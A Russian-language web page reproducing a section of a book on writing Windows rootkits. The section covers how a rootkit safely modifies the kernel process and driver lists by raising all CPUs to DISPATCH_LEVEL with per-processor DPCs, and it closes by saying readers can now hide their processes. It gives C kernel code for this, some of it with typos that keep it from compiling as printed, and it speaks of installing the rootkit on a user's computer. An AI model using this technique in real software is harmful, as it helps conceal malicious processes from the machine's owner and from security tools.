Есть вопрос?
Зайди на форум

Поиск:

Denix: русификация Ubuntu и кодеки :: RSS:: Скачать книги Колисниченко в PDF

Англо-русский словарь компьютерных терминов (Д. Колисниченко)

A  B  C  D  E  F  G  H  I  K  L  M  N  O  P  Q  R  S  T  V  W  X  Y  Z 

укрпочта отслеживание посылок перевод денег график отключения света в Кировограде график отключения счета в Киеве график отключения света в Одессе (zip)

Книга Д. Колисниченко Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.

20.6. Проблемы синхронизации

"Прогулка" по списку процессов намного опаснее, чем по списку драйверов. Дело в том, что руткит может быть выгружен в область подкачки, а за время его пребывания там могут быть созданы дополнительные процессы или завершены уже выполняющиеся.

Для безопасной работы со списком процессов мы должны использовать семафоры. В Windows для семафора используется термин mutex (mutually-exclusive-access flag) - флаг взаимоисключающего доступа. Mutex, как и любой другой семафор, может находиться в одном из двух состояний:

Mutex устанавливается, когда объект свободен. Если объект занят, то mutex сбрасывается.

Для управления доступом к списку процессов и списку модулей используются семафоры PspActiveProcessMutex и PsLoadedModuleResource соответственно. Данные семафоры не экспортируется ядром.

Поскольку семафоры доступа к спискам процессов и модулей не экспортируются ядром, нам нужно найти их самостоятельно. Можно произвести поиск в памяти по заданному образцу. Конечно, это действие "в лоб" - не очень рационально, зато просто. Но у этого способа есть один существенный недостаток: столько версий операционных систем, столько и образцов. В общем, поиск в памяти не очень удобен, но как вариант его все же можно использовать.

Мы пойдем другой дорогой. Чтобы чувствовать себя более или менее безопасно, вам нужно работать на уровне DISPATCH_LEVEL (причем на всех процессорах, если их несколько). Но учтите, что на этом уровне вы не сможете вызывать некоторые функции, а также использовать выгруженную память. При попытке обращения к выгруженной памяти вы (или пользователь, на компьютере которого установлен ваш руткит) увидит голубой экранчик смерти Windows.

Повторюсь, что на всех процессорах вы должны будете перейти на уровень DISPATCH_LEVEL. Глобальная переменная AllCPUDispatch будет принимать 1, если все процессоры находятся на этом уровне, а переменная NumCPUDispatch - общее количество процессоров, которые уже перешли на уровень DISPATCH_LEVEL. Общее количество процессоров, установленных в системе, хранится в переменной KeNumberProcessors.

Для перехода на этот уровень нужно использовать системный вызов KeRaiseIrql:

KIRQL CurIrql;    // текущий IRQL (на каком уровне мы сейчас находимся)

KIRQL PrevIrql;   // будем использовать для возврата на исходный уровень

CurIqrl = KeGetCurrentIrql();

PrevIrql = CurIqrl;

if (CurIrql < DISPATCH_LEVEL) KeRaiseIrql(DISPATCH_LEVEL, &PrevIrql);

Но этого будет мало - ведь нам нужно перевести все процессоры на уровень DISPATCH_LEVEL. Для этого мы будем использовать задержанный вызов процедур (Deferred Procedure Call). Огромное преимущество DPC заключается в том, что они как раз работают на уровне DISPATCH_LEVEL. Но это еще не все. Вы можете указать, на каком процессоре нужно запускать DPC. Это тоже огромное преимущество. Можно создать отдельный DPC для каждого отдельного процессора. Что, собственно, мы и сделаем. Мы напишем цикл, который будет "пробегаться" по все процессорам. Но до этого мы вызовем функцию KeCurrentProcessorNumber, чтобы определить, какой процессор является главным для руткита.

После этого в цикле мы инициализируем DPC для каждого процессора с помощью функции KeInitializeDpc. Эта функция принимает только один параметр - адрес функции, которая будет запущена при запуска PDC. Мы будем использовать функцию RaiseCPU. Данная функция увеличивает счетчик процессоров, переведенных на уровень DISPATCH_LEVEL (переменную NumCPUDispatch).

После инициализации DPC функция KeSetTargetProcessorDPC назначает каждому DPC отдельный процессор.

В завершении мы должны сравнивать значение переменной NumCPUDispatch c KeNumberProcessors-1. Если значения эквивалентны, наша задача выполнена - все процессоры переведены на уровень DISPATCH_LEVEL.

Рассмотрим функцию RaiseAllCPU, выполняющую все вышеописанные действия:

PKDPC RaiseAllCPU ()

{

  NTSTATUS s;

  ULONG curCPU;

  CCHAR a;

  PKDPC dpc, t_dpc;

if (KeGetCurrentIrql() != DISPATCH_LEVEL) return NULL;

// присваиваем глобальным переменным нули

// AllCPUDispatch = 1, если все процессоры переведены на уровень DISPATCH

// NumCPUDispatch - количество переведенных на уровень DISPATCH процессоров

InterlockedAnd(&AllCPUDispatch,0);

InterlockedAnd(&NumCPUDispatch,0);

 

t_pdc =(PKDPC)ExAllocatePool(NonPagedPool, KeNumberProcessors * sizeof(KDPC);

 

if (t_dpc == NULL) return NULL;    // STASUS_INSUFFICIENT_RESOURCES

 

curCPU = KeGetCurrentProcessorNumber();

 

dpc =  t_dpc;

 

for (a = 0; a < KeNumberProcessors; a++, *t_dpc++)

{

 if (a != curCPU)

 {

  // инициализируем DPC

   KeInitializeDpc(t_dpc, RaiseCPU, NULL);

   KeSetTragetProcessorDpc(t_dpc, a);

   KeInsertQueueDpc(t_dpc, NULL, NULL);

  }

}

 

while(InterlockedCompareExchange(&NumCPUDispatch), KeNumberProcessors-1,

       KeNumberProcessors-1) != KeNumberProcessors-1)

{

__asm nop;

}

return dpc; //STATUS_SUCCESS;

}

 

 

При инициализации DPC мы установили функцию RaiseCPU. Данная функция увеличивает число процессоров, переключенных на уровень DISPATCH, и ждет, пока на этот уровень не будут переключены все процессоры.

RaiseCPU (IN PKDPC Dpc, IN PVOID DeferredContext, IN PVOID SystemArgument1, IN PVOID SystemArgument2)

{

InterlockedIncrement(&NumCPUDispatch);

while (!InterlockedCompareExchange(&AllCPUDispatch, 1, 1))

{

__asm nop;

}

InterlockedDecrement(&NumCPUDispatch);

}

После того, как все процессоры будут переведены на уровень DISPATCH, наш руткит сможет модифицировать списки процессов и драйверов. После модификации этих списков мы должны освободить память, выделенную под все DPC. Это можно сделать с помощью функции RealeseResources:

NTSTATUS RealeseResources(PVOID pdc)

{

InterlockedIncrement(&AllCPUDispatch);

while(InterlockedCompareExchange(&NumCPUDispatch, 0, 0))

{

__asm nop;

}

 

if (pdc != NULL)

{

ExFreePool(dpc);

dpc = NULL;

}

return STATUS_SUCCESS;

}

 

Используя приведенный в предыдущих пунктах этой главы материал, вы сможете сокрыть нужные вам процессы. Но само сокрытие бесполезно - ведь без нужных привилегий ваши процессы все равно не смогут сделать то, что вам нужно - даже если они и скрыты. В следующем пункте мы поговорим о том, как получить нужные привилегии.

На главную

Мне нравится!

Сегодня: 16/01

Именинники:  Андрюха aka host

Последние посты форума

Интересная картинка

Samsung Galaxy J2 Prime (SM-G532F)

дааа

Обучение PHP-программированию

Новый дизайн сайта

Возвращение на динамическую страницу сайта

С Новым Годом!

Бесплатный хостинг, SSL сертификат, не ограниченно

капец погода в ноябре у нас

Посоветуйте хостинг

флэшмобы

вот люди где живут... экстрим

авто-дилеры

Программы для Linux

книга Командная строка Linux и автоматизация рутинных задач

Совет:

Книги Д. Колисниченко:

Linux

Ubuntu 10. Библия пользователяUbuntu 10. Библия пользователя
Книга Ubuntu 10. Библия пользователя представляет собой полное руководство по установке, настройке и использованию Linux-дистрибутива Ubuntu 10. Отличная книга, твердый переплет                                                                                                                            

Linux на ноутбукеLinux на ноутбуке
Книга ориентирована на начинающего пользователя Linux, покупающего ноутбук с предустановленной ОС Linux или планирующего установить ее самостоятельно. Содержит актуальный материал (даже по состоянию на 2011 год)                                                                                          

Командная строка Linux и автоматизация рутинных задач. 2-е изд. Командная строка Linux и автоматизация рутинных задач. 2-е изд.
Рассмотрены команды Linux, основы работы в командной строке, а также настройка системы с помощью программ, обладающих только текстовым интерфейсом. Работа с системой выполняется только в режиме консоли, что требует определенной квалификации пользоват                                                   

PHP

PHP 5 в теории и на практикеPHP 5 в теории и на практике
Это продолжение Самоучителя PHP5 с новыми приемами программирования на PHP. Отличный выбор для начинающего PHP-программиста. Книга устарела и не поддерживается.                                                                                                                                            

HTML 5 & CSS 3 - практическо програмиране за начинаещиHTML 5 & CSS 3 - практическо програмиране за начинаещи
Тази книга ще ви научи как да прилагате на практика HTML 5 и CSS 3 и да се възползвате от богатите възможности, предлагани в новите уеб стандарти. Изданието е предназначено за всеки, който е решил да се възползва от съвременните технологии за уеб диз                                                   

PHP и MySQL. Разработка Web-приложений. 4-е издPHP и MySQL. Разработка Web-приложений. 4-е изд
Даны начала программирования на PHP: установка и настройка Apache, PHP, MySQL и кроссплатформенной сборки XAMPP, выбор редактора PHP-кода, синтаксис языка и самые полезные функции PHP 5.4. Рассмотрено создание собственного движка сайта и ряда дополни                                                   

Интернет/CMS

Интернет: от Интернет: от "чайника" к пользователю, 2 изд. (+Видеокурс на CD)
Книга предназначена для начинающего пользователя, поможет ему самостоятельно освоить основы Интернета и начать уверенную работу.                                                                                                                                                                            

Новейший самоучитель компьютера и ИнтернетНовейший самоучитель компьютера и Интернет
О такой книге долгие годы мечтали миллионы начинающих пользователей, которые осваивали технику самостоятельно или по непонятным, громоздким руководствам.                                                                                                                                                    

Выбираем лучший бесплатный движок для сайта. CMS Joomla! и Drupal Выбираем лучший бесплатный движок для сайта. CMS Joomla! и Drupal
Книга ориентирована как на обычных пользователей Интернета, которым нужно в кратчайшие сроки создать свой сайт, так и на разработчиков, которые заинтересованы в построении собственной CMS                                                                                                                  

Компьютер/Windows

Первые шаги с Windows 7. Руководство для начинающих (+Видеокурс на CD)Первые шаги с Windows 7. Руководство для начинающих (+Видеокурс на CD)
Просто и понятно для начинающих пользователей описана операционная система Windows 7 и ее новые возможности. Рассказано, как установить Windows 7 (в том числе на нетбук)                                                                                                                                    

Самоучитель Microsoft Windows 10Самоучитель Microsoft Windows 10
Вас интересует новейшая версия Windows - Windows 10? Тогда эта книга для вас. Она содержит необходимые и достаточные сведения для реальной работы с программой. Описаны как базовые функции, так и основные новинки Windows 10                                                                               

Самоучитель пользователя компьютером. Как самому устранить 90% неисправностей в компьютереСамоучитель пользователя компьютером. Как самому устранить 90% неисправностей в компьютере
Книга подойдет начинающим пользователям, поможет устранить простые неисправности (проблемы), возникающие при работе с ПК. Рассматривается переустановка Windows                                                                                                                                              

Сети

Самоучитель системного администратора. 4-е изд.Самоучитель системного администратора. 4-е изд.
Изложены основные задачи системного администрирования, описаны базовые протоколы, даны рекомендации по выбору оборудования и проведению ежедневных рутинных операций. Подробно раскрыты технологии, используемые при построении информационных систем, опи                                                   

Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.
Книга о настройке сети в Windows (98,NT,XP) и Linux. Является превосходным практическим руководством по созданию и обслуживанию компьютерных сетей.                                                                                                                                                          

Беспроводная сеть дома и в офисеБеспроводная сеть дома и в офисе
Книга поможет начинающему администратору домашней или офисной сети в кратчайшие сроки развернуть, настроить или модернизировать беспроводную сеть. Отличный выбор для построения сети SOHO                                                                                                                   

Безопасность

Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.
-                                                                                                                                                                                                                                                                                                            

Анонимность и безопасность в Интернете. От Анонимность и безопасность в Интернете. От "чайника" к пользователю
Простым и понятным языком рассказано, как скрыть свое местонахождение и IP-адрес, используя анонимные сети Tor и I2P, посетить заблокированные администратором сайты, защитить личную переписку от посторонних глаз                                                                                          

Автомобили

Популярный самоучитель безопасного вожденияПопулярный самоучитель безопасного вождения
Ценность этой книги в том, что впервые советы вам будет давать проверенный профи: президент клуба BMW! Как быстро и правильно научиться водить машину, парковаться, разгоняться, тормозить.                                                                                                                  

Новичок за рулем. Советы психолога, юриста, инструктора.Новичок за рулем. Советы психолога, юриста, инструктора.
Книга первая. Рекомендуется всем начинающим водителям. Текст этой книги бесплатно доступен в моем блоге http://dkws.net                                                                                                                                                                                      

Особенности безопасной езды в разных условиях (город, бездорожье, гололед, горный серпантин).Особенности безопасной езды в разных условиях (город, бездорожье, гололед, горный серпантин).
Безопасная езда - это когда целы машина, пассажиры, водитель и деньги водителя                                                                                                                                                                                                                               

Переводные книги

Переводные книгиПереводные книги
Данные книги были переведены мною на русский язык (с английского и чешского). Надеюсь качество перевода вам понравится!                                                                                                                                                                                      

Android

Планшет и смартфон на базе Android для ваших родителейПланшет и смартфон на базе Android для ваших родителей
Книга рассчитана на людей среднего и старшего возраста. Она поможет освоить современный «карманный компьютер» на базе Android, в котором все новое и "не так, как в Windows". Доступным языком описывается, как включить и выключить смартфон и т.д.                                                         

Безопасный Android: защищаем свои деньги и данные от кражиБезопасный Android: защищаем свои деньги и данные от кражи
Рассмотрены различные способы обеспечения безопасности Android-устройств: шифрование персональной информации, хранящейся на устройстве, шифрование передаваемых данных, VPN-соединения, анонимизация трафика                                                                                             

Планшет и смартфон на базе Android для ваших родителей, 2-е изд.Планшет и смартфон на базе Android для ваших родителей, 2-е изд.
Книга знакомит читателя с мобильными устройствами на базе Android. Она написана простым и понятным языком для людей среднего и старшего возраста                                                                                                                                                             

Статьи

Rambler's Top100